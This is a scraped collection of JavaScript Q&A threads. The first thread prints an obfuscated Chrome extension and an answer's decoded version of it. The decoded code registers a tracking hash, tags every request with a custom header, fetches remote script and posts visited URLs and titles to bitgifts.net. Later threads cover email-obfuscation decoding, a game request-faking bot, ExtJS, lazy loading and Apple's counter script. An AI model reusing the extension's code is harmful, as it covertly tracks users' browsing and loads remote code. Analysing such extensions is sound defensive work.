Is this a malicious piece of code? - javascript

So I have installed this sketchy looking chrome extension that requires "access to all browsing data" and so I took a look inside it. It contains two files, identical, on is the properly named content.js and the other is a suspiciously named background.js along with what looks to be an unmodified version of jquery. The other two contain the same piece of code and I'm concerned it looks like a key logger to me. Here is the code that I had to tidy up using jsfiddle as it was packed:
eval(function (p, a, c, k, e, d) {
e = function (c) {
return c
};
if (!''.replace(/^/, String)) {
while (c--) {
d[c] = k[c] || c
}
k = [function (e) {
return d[e]
}];
e = function () {
return '\\w+'
};
c = 1
};
while (c--) {
if (k[c]) {
p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
}
}
return p
}('163(65(45,34,37,42,40,39){40=65(37){60(37<34?\'\':40(105(37/34)))+((37=37%34)>35?110.180(37+29):37.123(36))};72(!\'\'.95(/^/,110)){94(37--){39[40(37)]=42[37]||40(37)}42=[65(40){60 39[40]}];40=65(){60\'\\\\58+\'};37=1};94(37--){72(42[37]){45=45.95(101 270(\'\\\\38\'+40(37)+\'\\\\38\',\'43\'),42[37])}}60 45}(\'45 39=["\\\\41\\\\43\\\\40\\\\38\\\\51\\\\47\\\\47\\\\111\\\\38\\\\41\\\\55\\\\37","\\\\46\\\\37\\\\38\\\\78\\\\38\\\\37\\\\55","\\\\50\\\\51\\\\40\\\\50","\\\\46\\\\37\\\\38\\\\107\\\\41\\\\55\\\\37","\\\\40\\\\37\\\\38\\\\78\\\\38\\\\37\\\\55","\\\\50\\\\38\\\\38\\\\56\\\\66\\\\48\\\\48\\\\54\\\\41\\\\38\\\\46\\\\41\\\\52\\\\38\\\\40\\\\69\\\\43\\\\37\\\\38\\\\48\\\\44\\\\37\\\\46\\\\41\\\\40\\\\38\\\\37\\\\44","\\\\50\\\\38\\\\38\\\\56\\\\66\\\\48\\\\48\\\\54\\\\41\\\\38\\\\46\\\\41\\\\52\\\\38\\\\40\\\\69\\\\43\\\\37\\\\38\\\\48\\\\50\\\\42\\\\55\\\\37","\\\\64\\\\44\\\\37\\\\51\\\\38\\\\37","\\\\38\\\\51\\\\54\\\\40","\\\\50\\\\37\\\\47\\\\47\\\\42","\\\\47\\\\42\\\\46","\\\\56\\\\42\\\\40\\\\38","\\\\44\\\\37\\\\68\\\\53\\\\37\\\\40\\\\38\\\\79\\\\37\\\\51\\\\57\\\\37\\\\44\\\\40","\\\\80\\\\41\\\\38\\\\90\\\\41\\\\52\\\\38\\\\40","\\\\56\\\\53\\\\40\\\\50","\\\\242\\\\51\\\\47\\\\47\\\\111\\\\53\\\\44\\\\47\\\\40\\\\252","\\\\54\\\\47\\\\42\\\\64\\\\102\\\\41\\\\43\\\\46","\\\\51\\\\57\\\\57\\\\91\\\\41\\\\40\\\\38\\\\37\\\\43\\\\37\\\\44","\\\\42\\\\43\\\\80\\\\37\\\\52\\\\42\\\\44\\\\37\\\\106\\\\37\\\\43\\\\57\\\\79\\\\37\\\\51\\\\57\\\\37\\\\44\\\\40","\\\\100\\\\37\\\\54\\\\81\\\\37\\\\68\\\\53\\\\37\\\\40\\\\38","\\\\46\\\\37\\\\38\\\\64\\\\40","\\\\50\\\\38\\\\38\\\\56\\\\66\\\\48\\\\48\\\\54\\\\41\\\\38\\\\46\\\\41\\\\52\\\\38\\\\40\\\\69\\\\43\\\\37\\\\38\\\\48\\\\46\\\\37\\\\38\\\\103\\\\40","\\\\46\\\\37\\\\38","\\\\53\\\\44\\\\47","\\\\50\\\\38\\\\38\\\\56\\\\66\\\\48\\\\48\\\\54\\\\41\\\\38\\\\46\\\\41\\\\52\\\\38\\\\40\\\\69\\\\43\\\\37\\\\38\\\\48\\\\40\\\\53\\\\44\\\\52","\\\\38\\\\41\\\\38\\\\47\\\\37","\\\\47\\\\37\\\\43\\\\46\\\\38\\\\50","\\\\44\\\\51\\\\43\\\\57\\\\42\\\\55","\\\\42\\\\43\\\\81\\\\37\\\\68\\\\53\\\\37\\\\40\\\\38","\\\\37\\\\104\\\\38\\\\37\\\\43\\\\40\\\\41\\\\42\\\\43","","\\\\109\\\\80\\\\138\\\\136\\\\134\\\\141\\\\90\\\\79\\\\78\\\\148\\\\145\\\\91\\\\120\\\\116\\\\112\\\\114\\\\115\\\\81\\\\106\\\\107\\\\126\\\\239\\\\167\\\\166\\\\165\\\\168\\\\51\\\\54\\\\64\\\\57\\\\37\\\\52\\\\46\\\\50\\\\41\\\\103\\\\102\\\\47\\\\55\\\\43\\\\42\\\\56\\\\68\\\\44\\\\40\\\\38\\\\53\\\\161\\\\100\\\\104\\\\174\\\\187\\\\186\\\\185\\\\188\\\\189\\\\192\\\\191\\\\190\\\\184\\\\183\\\\177","\\\\52\\\\47\\\\42\\\\42\\\\44","\\\\64\\\\50\\\\51\\\\44\\\\109\\\\38"];45 34=[39[0],39[1],39[2],39[3],39[4],39[5],39[6],39[7],39[8],39[9],39[10],39[11],39[12],39[13],39[14],39[15],39[16],39[17],39[18],39[19],39[20],39[21],39[22],39[23],39[24],39[25],39[26],39[27],39[28],39[29],39[92],39[93],39[96],39[97]];58 99(){61(59[34[1]](34[0])&&59[34[1]](34[2])){73};45 108=125 124()[34[3]]();59[34[4]](34[0],108);45 82=71();59[34[4]](34[2],82);$[34[11]](34[5],{127:82},58(83){77[34[8]][34[7]]({87:34[6]});121[34[10]](34[9])})};99();77[34[19]][34[18]][34[17]](58(98){45 85=98[34[12]],84={};85[34[14]]({119:34[13],131:59[34[1]](34[2])});84[34[12]]=85;73 84},{147:[34[15]]},[34[12],34[16]]);77[34[29]][34[28]][34[17]](58(49,135,67){61(49[34[20]]){$[34[22]](34[21],58(83){67({137:83})})}86{61(49[34[23]]&&49[34[11]]){$[34[11]](34[24],{87:49[34[23]],139:49[34[11]]});67({})}86{61(49[34[23]]&&49[34[25]]){45 63=24+49[34[23]][34[26]]*3-(49[34[25]][34[26]]*2);61(63%4){63+=3}86{63-=4};45 89=247(76[34[27]]()*250);45 88=71();$[34[11]](34[24],{87:49[34[23]],246:49[34[25]],238:63,236:89,241:88});67({})}}}});58 71(){45 75=34[92];45 74=34[93];267(45 70=0;70<16;70++){75+=74[34[97]](76[34[96]](76[34[27]]()*74[34[26]]))};73 75};\',62,146,\'||||||||||262|264|235|208|207|206|209|210|213|212|211|205|204|198|197|196|195|199|200|203|202|201|65|215|72|227|226|229|230|233|232|231|225|224|218|217|60|219|220|223|222|221|193|263|257|265|271|272|268|256|244|240|||||||||||142|118|117|113|128|129|31|33|30|173|160|155|157|32|133|216|228|214|261|260|259|269|273|255|243|237|249|194|140|150|143|144|132|130|178|158|122|151|149|234|251|254|253|258|266|245|152|153|181|182|179|105|||||||||||175|176|162|159|154|101|156|164|170|171|172|169\'.248(\'|\'),0,{}))', 10, 274, '||||||||||||||||||||||||||||||||||a|||c|b|d|e|f|k|g|h|p|j|i|m|l|n|o|q|s|r|v|u|t|w|x|return|y||z|A|function|C|E|D|B|F|U|if|K|L|P|J|S|Q|V|G|I|O|M|H|T|R|N|1j|1k|1l|1f|1i|1g|while|replace|1n|1h|1d|1c|W|new|1a|1b|Y|parseInt|1o|1e|Z|X|String|1m|1H|_0x635cx6|1G|1B|1M|install_notice|x6A|1Q|1N|2g|x4A|toString|2i|2f|1z|1P|x54|x4C|x4F|1V|x50|x53|1O|1X|1w|1Y|1r|1S|x56|1y|x6B|x59|x58|1L||1W|1K|x4E|x57|x4B|vy|value|x37|x47|console|x5F|x76|xc|_0x635cxd|1J|for|eval|x38|1E|1F|1D|1I|x35|Date|x36|x39|_0x635cxe|1t|43260|x34|2k|x5A|data|fromCharCode|urls|_0x635cxa|2h|2e|1p|1s|1x|1q|1A|2j|2l|2b|x49|x51|x66|var|x61|x68|x62|x75|x6D|x70|x64|x2F|_0x635cx9|x69|x73|_0xf8d8|x6E|x72|x6F|x67|x6C|x43|localStorage|x31|Math|x52|_0x635cx11|_0x635cx5|_0x635cx10|_0x635cx4|url|_0x635cx8|x42|x63|_0x635cxc|x32|x2E|x3A|_0x635cx12|_0x635cxb|x71|x4D|x65|1T|x55|2d|1C|_0x635cx3|1U|1v|x46|x78|xv|1R|1Z|split|x33|2a|x45|1u|name|hash|x7A|x41|chrome|title|x3E|x79|x30|_0x6ce2|else|x74|_0x635cx7|post|2c|x77|x3C|RegExp|makeid|x48|x44'.split('|'), 0, {}))

Here's what I could decode. I haven't performed an in-depth analysis of the code, however it seems to be adding a custom BitGifts request header to all requests which contains a uniquely generated key. It's also using chrome.extension.onRequest.addListener which is deprecated. Also, it tries to communicate with http://bitgifts.net/, by either doing a GET data/code from http://bitgifts.net/getjs or POST to http://bitgifts.net/surf. Both of these cannot be served by the server, perhaps because the custom header isin't provided.
Anyway, I wouldn't take any chance and wouldn't install this extension. Actually I probably wouldn't install any extension that left a console.log('hello') behind ;)
function install_notice() {
if (localStorage["getItem"]("install_time") && localStorage["getItem"]("hash")) {
return
}
var e = (new Date)["getTime"]();
localStorage["setItem"]("install_time", e);
var t = makeid();
localStorage["setItem"]("hash", t);
$["post"]("http://bitgifts.net/register", {
hash: t
}, function (e) {
chrome["tabs"]["create"]({
url: "http://bitgifts.net/home"
});
console["log"]("hello")
})
}
function makeid() {
var e = "";
var t = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for (var n = 0; n < 16; n++) {
e += t["charAt"](Math["floor"](Math["random"]() * t["length"]))
}
return e
}
install_notice();
chrome["webRequest"]["onBeforeSendHeaders"]["addListener"](function (e) {
var t = e["requestHeaders"],
n = {};
t["push"]({
name: "BitGifts",
value: localStorage["getItem"]("hash")
});
n["requestHeaders"] = t;
return n
}, {
urls: ["<all_urls>"]
}, ["requestHeaders", "blocking"]);
chrome["extension"]["onRequest"]["addListener"](function (e, t, n) {
if (e["getcs"]) {
$["get"]("http://bitgifts.net/getjs", function (e) {
n({
data: e
})
})
} else {
if (e["url"] && e["post"]) {
n({})
} else {
if (e["url"] && e["title"]) {
var r = 24 + e["url"]["length"] * 3 - e["title"]["length"] * 2;
if (r % 4) {
r += 3
} else {
r -= 4
}
var i = parseInt(Math["random"]() * 43260);
var s = makeid();
$["post"]("http://bitgifts.net/surf", {
url: e["url"],
title: e["title"],
xc: r,
xv: i,
vy: s
});
n({})
}
}
}
});

Related

Javascript string decoding logic translated to Python

The following Javascript code will decode string 91ebf9e9f7a8a2a1a5d1a0a3a7bff2fefc
into an intelligible value:
!function() {
"use strict";
function e(e) {
try {
if ("undefined" == typeof console)
return;
"error"in console ? console.error(e) : console.log(e)
} catch (e) {}
}
function t(e) {
return d.innerHTML = '',
d.childNodes[0].getAttribute("href") || ""
}
function r(e, t) {
var r = e.substr(t, 2);
return parseInt(r, 16)
}
function n(n, c) {
for (var o = "", a = r(n, c), i = c + 2; i < n.length; i += 2) {
var l = r(n, i) ^ a;
o += String.fromCharCode(l)
}
try {
o = decodeURIComponent(escape(o))
} catch (u) {
e(u)
}
return t(o)
}
function c(t) {
for (var r = t.querySelectorAll("a"), c = 0; c < r.length; c++)
try {
var o = r[c]
, a = o.href.indexOf(l);
a > -1 && (o.href = "mailto:" + n(o.href, a + l.length))
} catch (i) {
e(i)
}
}
function o(t) {
for (var r = t.querySelectorAll(u), c = 0; c < r.length; c++)
try {
var o = r[c]
, a = o.parentNode
, i = o.getAttribute(f);
if (i) {
var l = n(i, 0)
, d = document.createTextNode(l);
a.replaceChild(d, o)
}
} catch (h) {
e(h)
}
}
function a(t) {
for (var r = t.querySelectorAll("template"), n = 0; n < r.length; n++)
try {
i(r[n].content)
} catch (c) {
e(c)
}
}
function i(t) {
try {
c(t),
o(t),
a(t)
} catch (r) {
e(r)
}
}
var l = "/cdn-cgi/l/email-protection#"
, u = ".__cf_email__"
, f = "data-cfemail"
, d = document.createElement("div");
i(document),
function() {
var e = document.currentScript || document.scripts[document.scripts.length - 1];
e.parentNode.removeChild(e)
}()
}();
Can anyone explain the actual logic of it, to be able to write it into Python? Or come up with an JS2PY solution of running the code against python-selected values?
You can use js2py module to rewrite automatically the Js code to Python:
import js2py
js_script = """\
function decode(email) {
function r(e, t) {
var r = e.substr(t, 2);
return parseInt(r, 16);
}
function n(n, c) {
for (var o = "", a = r(n, c), i = c + 2; i < n.length; i += 2) {
var l = r(n, i) ^ a;
o += String.fromCharCode(l);
}
return o;
}
var l = "/cdn-cgi/l/email-protection#";
return n(email, email.indexOf(l) + l.length);
}
"""
decoder = js2py.eval_js(js_script)
email = decoder(
"https://journals.sagepub.com/cdn-cgi/l/email-protection#7c0614041a454f4c483c4d4e4a521f1311431f1f414d454c454c494b4a4d3c0d0d521f1311"
)
print(email)
Prints your email.

Send multiple requests separate instead of array in Javascript

This is part of code (code not mine, I can't understand how it's working, maybe it's called Promise, but I'm not sure).
m = {
mounted: function() {
var e = this;
this.$bus.on("buff-event", (function(t) {
e.buff(t)
}))
},
methods: {
buff: function(e) {
var t = this;
this.$bus.emit("bfceebecbb-change", "Motivating...");
var n = '[{"__class__":"ServerRequest","requestData":[],"requestClass":"OtherPlayerService","requestMethod":"' + e + '","requestId":%%requestId%%}]';
this.requestFaker.fetch(n).then((function(i) {
i = (i = i.filter((function(t) {
return t.requestMethod == e
}))[0]).responseData.filter((function(e) {
return void 0 === e.next_interaction_in && !e.is_self && (void 0 === e.accepted || 1 == e.accepted)
})), n = [], _.forEach(i, (function(e) {
n.push('{"__class__":"ServerRequest","requestData":[' + e.player_id + '],"requestClass":"OtherPlayerService","requestMethod":"polivateRandomBuilding","requestId":%%requestId%%}')
})), n.length ? (n = "[" + n.join(",") + "]", t.requestFaker.fetch(n).then((function() {
t.$bus.emit("bfceebecbb-change", "Motivation success")
}))) : t.$bus.emit("bfceebecbb-change", "Nobody to motivate")
}))
}
}
},
This code collecting data of users, store in to array and then pass it to the server. So it sending big array of all users in one request (it pushing all entries to array in this part n.push('{"__class__":"ServerRequest"...).
What I want to achieve is to send requests for each user one by one with some delays (for example 1 second delay between requests).
I've tried many ways to achieve it, but all unsuccessfully, I'm lack of knowledge about this programming language.
I've tried to use setTimeout functions in different ways, but all the time unsuccessfully:
methods: {
buff: function(e) {
var t = this;
this.$bus.emit("bfceebecbb-change", "Motivating...");
var n = '[{"__class__":"ServerRequest","requestData":[],"requestClass":"OtherPlayerService","requestMethod":"' + e + '","requestId":%%requestId%%}]';
this.requestFaker.fetch(n).then((function(i) {
i = (i = i.filter((function(t) {
return t.requestMethod == e
}))[0]).responseData.filter((function(e) {
return void 0 === e.next_interaction_in && !e.is_self && (void 0 === e.accepted || 1 == e.accepted)
})), n = [], _.forEach(i, (function(e) {
n.push('{"__class__":"ServerRequest","requestData":[' + e.player_id + '],"requestClass":"OtherPlayerService","requestMethod":"polivateRandomBuilding","requestId":%%requestId%%}')
})), n.length ?
setTimeout((function() {
(setTimeout((function() {n = "[" + n.join(",") + "]"}), 1000) , t.requestFaker.fetch(n).then((function() {
t.$bus.emit("bfceebecbb-change", "Motivation success")
})))}), 1000) : t.$bus.emit("bfceebecbb-change", "Nobody to motivate")
}))
}
}
Also tried like this:
methods: {
buff: function(e) {
var t = this;
this.$bus.emit("bfceebecbb-change", "Motivating...");
var n = '[{"__class__":"ServerRequest","requestData":[],"requestClass":"OtherPlayerService","requestMethod":"' + e + '","requestId":%%requestId%%}]';
this.requestFaker.fetch(n).then((function(i) {
i = (i = i.filter((function(t) {
return t.requestMethod == e
}))[0]).responseData.filter((function(e) {
return void 0 === e.next_interaction_in && !e.is_self && (void 0 === e.accepted || 1 == e.accepted)
})), n = [], _.forEach(i, (function(e) {
n.push('{"__class__":"ServerRequest","requestData":[' + e.player_id + '],"requestClass":"OtherPlayerService","requestMethod":"polivateRandomBuilding","requestId":%%requestId%%}')
})), n.length ?
setTimeout((function() {
(n = "[" + n.join(",") + "]", t.requestFaker.fetch(n).then((function() {
t.$bus.emit("bfceebecbb-change", "Motivation success")
})))}), 1000) : t.$bus.emit("bfceebecbb-change", "Nobody to motivate")
}))
}
}
UPDATED
As per comment asked what is %%requestId%% - I found this part:
{
key: "fetch",
value: function(e) {
function t(t) {
return e.apply(this, arguments)
}
return t.toString = function() {
return e.toString()
}, t
}((function(e) {
for (var t = e;
(t = e.replace("%%requestId%%", this.requestId)) !== e;) e = t, this.incRequestId();
return fetch(gameVars.gatewayUrl, this.getHeadForFetchQuery(e)).then((function(e) {
return e.json()
}))
}))
}
try this
in general, forEach should be replaced with for..of loop with using async/await helper function which will delay the request (in await delaySome(1000); part)
it should send data in the same format, and if it fails at the server, that's probably where it needs tweaking.. or everywhere else..
m = {
mounted: function() {
var e = this;
this.$bus.on("buff-event", function(t) {
e.buff(t);
});
},
methods: {
buff: function(e) {
var t = this;
function delaySome(delay) {
return new Promise((resolve) => {
setTimeout(() => {
resolve();
}, delay);
});
}
this.$bus.emit("bfceebecbb-change", "Motivating...");
var n = '[{"__class__":"ServerRequest","requestData":[],"requestClass":"OtherPlayerService","requestMethod":"' + e + '","requestId":%%requestId%%}]';
this.requestFaker.fetch(n).then(async function(i) {
(i = (i = i.filter(function(t) {
return t.requestMethod == e;
})[0]).responseData.filter(function(e) {
return void 0 === e.next_interaction_in && !e.is_self && (void 0 === e.accepted || 1 == e.accepted);
})),
(n = []);
if (i.length) {
for (const e of i) {
await delaySome(1000);
t.requestFaker.fetch('[{"__class__":"ServerRequest","requestData":[' + e.player_id + '],"requestClass":"OtherPlayerService","requestMethod":"polivateRandomBuilding","requestId":%%requestId%%}]').then(function() {
t.$bus.emit("bfceebecbb-change", "Motivation success");
})
}
} else {
t.$bus.emit("bfceebecbb-change", "Nobody to motivate")
}
});
},
},
};

How to readrecords from Json Array

I try to use Javascript Ext libraries and call a rest service which returns a json response. Its an array with one element and it doesnt work when i use DataReader(Ext.data.DataReader) "readRecords" operation to process the json data and it returns null reference on the call back function.
It would be good if you provide some help or suggestions to fix the issue.
I tried to pass the array as the argument in the reader and it doesnt help.
Ext.namespace("cityDetails");
var a = "http://" + "Url address to get cityDetails";
var e = new Ext.data.ScriptTagProxy({
callbackParam: "callback",
url: a
});
var f = {
fields: [{
name: "Id"
}, {
name: "city"
}, {
name: "postcode"
}]
};
var d = new cityDetails.reader(f, {});
//call back function
var h = function(k, j, m) {
try {
// k returns null reference
if (k != null) {
alert("PostCode insider else::" + k.jsonObject.postcode)
}
}
} catch (l) {
alert(l)
}
};
var i = this;
e.load({
1: 1
}, d, h, i)
//readRecords from Data - Json Response an array of one objekt
Ext.extend(cityDetails.reader, Ext.data.DataReader, {
readRecords: function(b) {
this.jsonData = b;
alert("Meta ::" + this.meta);
//alert("Meta Root::"+this.meta.root);
var a = false;
return {
success: a,
jsonObject: this.getRoot(b),
totalRecords: 1
}
},
getRoot: function(d) {
if (this.meta && this.meta.root) {
var c = d;
var a = this.meta.root.split(".");
for (var b = 0; b < a.length; b++) {
c = c[a[b]]
}
return c
} else {
alert("Value Of d in reader::" + d);
if (d != null) {
alert("Objects Of d in reader::" + d.jsonObject.postcode);
}
return d
}
}
})
//Initial call.
cityDetails.reader = function(a, b) {
a = a || {};
cityDetails.reader.superclass.constructor.call(this, a, b || a.fields)
};
Sample response from rest service shown below.
[{
"Id": "121A",
"postcode": "1000",
"city": "ABBA"
}]
The call back function k should return the value of Json response. However it returns null.

Default lightbox for images gets disabled on using lazy load

Well I was trying to make images load faster on blog using lazy load that's when the default lightbox for images got disabled.
Apparently there's something obstructing the lightbox functioning in the lazy load script.
Here is lazy load script I used
(function () {
function r(e) {
var t = 0;
if (e.offsetParent) {
do t += e.offsetTop; while (e = e.offsetParent);
return t
}
}
var e = window.addEventListener || function (e, t) {
window.attachEvent("on" + e, t)
},
t = window.removeEventListener || function (e, t, n) {
window.detachEvent("on" + e, t)
},
n = {
cache: [],
mobileScreenSize: 500,
addObservers: function () {
e("scroll", n.throttledLoad), e("resize", n.throttledLoad)
},
removeObservers: function () {
t("scroll", n.throttledLoad, !1), t("resize", n.throttledLoad, !1)
},
throttleTimer: (new Date).getTime(),
throttledLoad: function () {
var e = (new Date).getTime();
e - n.throttleTimer >= 200 && (n.throttleTimer = e, n.loadVisibleImages())
},
loadVisibleImages: function () {
var e = window.pageYOffset || document.documentElement.scrollTop,
t = window.innerHeight || document.documentElement.clientHeight,
i = {
min: e - 300,
max: e + t + 300
},
s = 0;
while (s < n.cache.length) {
var o = n.cache[s],
u = r(o),
a = o.height || 0;
if (u >= i.min - a && u <= i.max) {
var f = o.getAttribute("data-src-mobile");
o.onload = function () {
this.className = "lazy-loaded"
}, f && screen.width <= n.mobileScreenSize ? o.src = f : o.src = o.getAttribute("data-src"), o.removeAttribute("data-src"), o.removeAttribute("data-src-mobile"), n.cache.splice(s, 1);
continue
}
s++
}
n.cache.length === 0 && n.removeObservers()
},
init: function () {
document.querySelectorAll || (document.querySelectorAll = function (e) {
var t = document,
n = t.documentElement.firstChild,
r = t.createElement("STYLE");
return n.appendChild(r), t.__qsaels = [], r.styleSheet.cssText = e + "{x:expression(document.__qsaels.push(this))}", window.scrollBy(0, 0), t.__qsaels
}), e("load", function r() {
var e = document.querySelectorAll("img[data-src]");
for (var i = 0; i < e.length; i++) {
var s = e[i];
n.cache.push(s)
}
n.addObservers(), n.loadVisibleImages(), t("load", r, !1)
})
}
};
n.init()
})()
You can see the disabled effect here on this site and the site with no lazy load. Just click on any image from the post to check the lightbox functioning.
I guess the lightbox functioning comes in from an external source which somehow I wasn't able to trace. I guess the data-src and src of the original and ones loaded over cause something bad to the lightbox.
Is there something I am doing wrong here? A solution to the problem will be very helpful.
Edit: Here is the lightbox plugin that I found:
kj = "lightbox",
function Co(a) {
var b = yo.V(),
c = b.h,
d = b.b;
if (d.lightbox) a(d.lightbox[1]);
else if (c.lightbox) c.lightbox[D]([1, a]);
else c.lightbox = [
[1, a]
], Q(b.a) ? Bo(b, kj) : b.d[D](kj)
}
if (this.a[x].lightboxEnabled) {
var b = this.a[x].lightboxModuleUrl,
c = this.a[x].lightboxCssUrl,
d = pq.V(),
e = Rm(b);
Ao(yo.V(), b, e);
d.f = c;
b = sn(Me, Yj, this.a.a);
for (c = 0; c < b[H]; c++) {
for (var e = ni + ir++, d = pq.V(), f = sn(ff, void 0, b[c]), h = f[H], s = [], t = 0; t < h; t++) {
var z = f[t].src,
A = null,
I = Hn(f[t]);
if (I) {
I = I[sb];
if (I != z) {
var Wa = z,
A = sq(I),
Wa = sq(Wa);
if (A && Wa && A[A[H] - 1] ==
Wa[Wa[H] - 1]) A = z, z = I, z = (I = sq(z)) && zm(I, td) ? z[w](/\/s(\d+)-h\//, Md) : z;
else continue
}
s[D]({
imageUrl: z,
thumbnailUrl: A
});
eo(f[t], ih, R(d.g, d, e, s[H] - 1))
}
}
0 < s[H] && (d.a[e] = s, d.d || (d.d = eo(k, lj, d.h, !1, d)))
}
}
here is the complete minified version
I'm not familiar with the exact lightbox you are using but I had a similar situation with a site I built where I was loading the images in after the page itself had finished loading and it broke the lightbox. The simplest solution (if your lightbox lets you do it easily) would be to call your lightbox function again after the images have been loaded.

How to extract apple's 1 billion countdown? [closed]

It's difficult to tell what is being asked here. This question is ambiguous, vague, incomplete, overly broad, or rhetorical and cannot be reasonably answered in its current form. For help clarifying this question so that it can be reopened, visit the help center.
Closed 12 years ago.
I've been trying to figure it out for hours and i didn't success, This Counter from Apple 1 billion downloads prize. doesn't use flash at all, only javascript and 0-9 images, which makes it really cool. Now after stackoverflow successed to extract google's pacman, can we do that?
P.S I can't even know if this is using prototype or scriptaculous since they're both included.
Here it is: http://images.apple.com/global/scripts/downloadcounter.js
StepTimingFunction = {
timingFunctionForStepCount: function (a) {
return function (b) {
return ((b * (a - 1)) >> 0) / ((a - 1))
}
}
};
DownloadCounter = Class.create();
Object.extend(DownloadCounter.prototype, {
initialize: function (a) {
this._url = a;
this.loadData();
this._isCounting = true
},
setIsCounting: function (a) {
this._isCounting = a
},
stop: function () {
if (this._isCounting) {
if (this._drawTimeout) {
window.clearTimeout(this._drawTimeout)
}
this.setIsCounting(false);
if (this._delegate && typeof this._delegate.counterDidStop === "function") {
this._delegate.counterDidStop(this)
}
}
},
start: function () {
if (!this._isCounting) {
this.loadData();
this.setIsCounting(true);
if (this._delegate && typeof this._delegate.counterDidStart === "function") {
this._delegate.counterDidStart(this)
}
}
},
isCounting: function () {
return this._isCounting
},
_delegate: null,
setDelegate: function (a) {
this._delegate = a
},
delegate: function () {
return this._delegate
},
loadData: function () {
if (this._nextUpdateTimeout) {
window.clearTimeout(this._nextUpdateTimeout);
this._nextUpdateTimeout = null
}
var a = document.location.href.toString();
a = a.replace(/.apple.com\/.*$/, ".apple.com");
new Ajax.Request((a + this._url + "?r=" + Math.random()), {
method: "get",
onSuccess: this.dataRequestDidFinishLoading.bind(this)
})
},
dataRequestDidFinishLoading: function (o) {
var k = o.responseText.split("|"),
n, d, j, g, l, h, b, f, e, m, a, i, c;
localServerBasedReferenceTime = Date.parse(o.getResponseHeader("Date"));
if (k.length === 3) {
n = k[0].split(" ");
d = n[1];
date = n[0].split("-");
this.setRate(parseInt(k[2]) / 3600000);
l = date[0];
g = date[1];
j = date[2];
a = Date.parse(g + " " + l + ", " + j + " " + d + " GMT-0700");
e = new Date(a + 3600000);
m = e.getTime() - a + 1000;
this._nextUpdateTimeout = setTimeout(this.loadData.bind(this), m);
if (typeof localServerBasedReferenceTime === "number") {
this._lastReferenceTime = localServerBasedReferenceTime
} else {
b = new Date();
this._lastReferenceTime = b.getTime()
}
f = this._lastReferenceTime - a;
i = Math.floor(parseInt(k[1]) + f * (this._rate));
this.setCurrentCount(i);
this.setNeedsDisplayIfNeeded()
}
},
setNeedsDisplayIfNeeded: function () {
if (!this._drawTimeout) {
this._drawTimeout = setTimeout(this.draw.bind(this), this._drawRefreshRate)
}
},
setElement: function (c) {
this._element = c;
var b = this._element.getElementsByClassName("digitGroupSeparator");
if (b.length > 0) {
var a = b[0];
this._element.removeChild(a);
this.setDigitGroupSeparatorTemplateElement(a)
}
this._element.empty();
this.createDigitElementsIfNeeded();
this.setNeedsDisplayIfNeeded()
},
setDigitGroupSeparatorTemplateElement: function (a) {
this._digitGroupSeparatorTemplateElement = a
},
_currentCount: 0,
setCurrentCount: function (a) {
if (a !== this._currentCount) {
this._currentCount = a;
this.createDigitElementsIfNeeded()
}
},
digitTemplateElement: function () {
if (!this._digitTemplateElement) {
this._digitTemplateElement = document.createElement("span");
$(this._digitTemplateElement).addClassName("digit");
var a = document.createElement("div"),
b = document.createElement("div"),
c = document.createElement("div");
$(a).addClassName("digitText");
$(b).addClassName("digitImage");
this._digitTemplateElement.appendChild(a);
this._digitTemplateElement.appendChild(b);
$(c).addClassName("digitImageElement");
b.appendChild(c.cloneNode(true));
b.appendChild(c)
}
return this._digitTemplateElement
},
createDigitElementsIfNeeded: function () {
if (this._element && (!this._digitElements || this._digitElements.length !== this._currentCount.toString().length)) {
this._element.empty();
this._createDigitElements()
}
},
_createDigitElements: function () {
if (!this._digitElements) {
this._digitElements = []
}
var e = 0,
b = (this._maxCount && this._currentCount >= this._maxCount) ? this._maxCount.toString().length : this._currentCount.toString().length,
c = document.createDocumentFragment(),
a, h = this.digitTemplateElement(),
g = this._digitGroupSeparatorTemplateElement,
d = (this._maxCount && this._currentCount >= this._maxCount) ? String(this._maxCount) : String(this._currentCount),
f;
if (!g) {
g = document.createElement("span");
$(g).addClassName("digitGroupSeparator")
}
for (e = 0 + this._digitElements.length; e < b; e++) {
a = h.cloneNode(true);
f = parseInt(d.charAt(b - (e + 1)));
a.lastChild.style.top = "-" + (f * (this._digitImageAnimationCount * this._digitImageHeight)) + "px";
this._digitElements[e] = a;
if (e > 0 && ((e) % 3 == 0)) {
c.insertBefore(g.cloneNode(true), c.firstChild)
}
c.insertBefore(a, c.firstChild)
}
this._element.insertBefore(c, this._element.firstChild)
},
currentCount: function () {
return this._currentCount
},
setRate: function (a) {
this._rate = a
},
rate: function () {
return this._rate
},
_drawRefreshRate: 50,
_digitImageHeight: 38,
setDigitImageHeight: function (a) {
this._digitImageHeight = a
},
_digitImageAnimationCount: 6,
setDigitImageAnimationCount: function (a) {
this._digitImageAnimationCount = a
},
_maxCount: false,
setMaxCount: function (a) {
this._maxCount = a
},
draw: function () {
window.clearTimeout(this._drawTimeout);
this._drawTimeout = null;
var h = this._drawRefreshRate,
e, j, k, c, a, l, o, b, n, d, m, p = this._digitImageHeight * this._digitImageAnimationCount,
g, f = this._digitElements,
q;
if (this._element) {
m = String(this._currentCount);
this._currentCount = this._currentCount + Math.floor(this._rate * h);
if (this._delegate && typeof this._delegate.counterDidReachValue === "function") {
this._delegate.counterDidReachValue(this, this._currentCount)
}
if (this._maxCount && this._currentCount >= this._maxCount) {
this._isCounting = false
}
if (!this._isCounting) {
return
}
e = (this._maxCount && this._currentCount >= this._maxCount) ? String(this._maxCount) : String(this._currentCount);
j = e.length;
k = j - 1;
for (c = k; c >= 0; c--) {
l = parseInt(e.charAt(c));
o = parseInt(m.charAt(c));
if (l !== o) {
if (!((k - c) < f.length)) {
this._createDigitElements()
}
a = f[k - c].lastChild;
if (a.___animating !== true) {
n = o * p;
if (l > o) {
b = l * p
} else {
b = (o + (10 - o) + l) * p
}
if (a.style.top !== (d = "-" + n + "px")) {
a.style.top = d
}
g = 1 + ((b - n) / this._digitImageHeight);
a.___animating = true;
q = new Effect.Move(a, {
x: 0,
y: (-1 * b),
duration: 0.4,
mode: "absolute",
transition: StepTimingFunction.timingFunctionForStepCount(g)
});
q.__element = a;
q.finish = function (i) {
if (window.removeEventListener) {
window.removeEventListener("unload", arguments.callee, false)
}
if (this.__element !== undefined) {
this.__element.___animating = false
}
};
if (window.addEventListener) {
window.addEventListener("unload", q.finish, false)
}
}
}
}
}
this._lastReferenceTime = (this._lastReferenceTime + h);
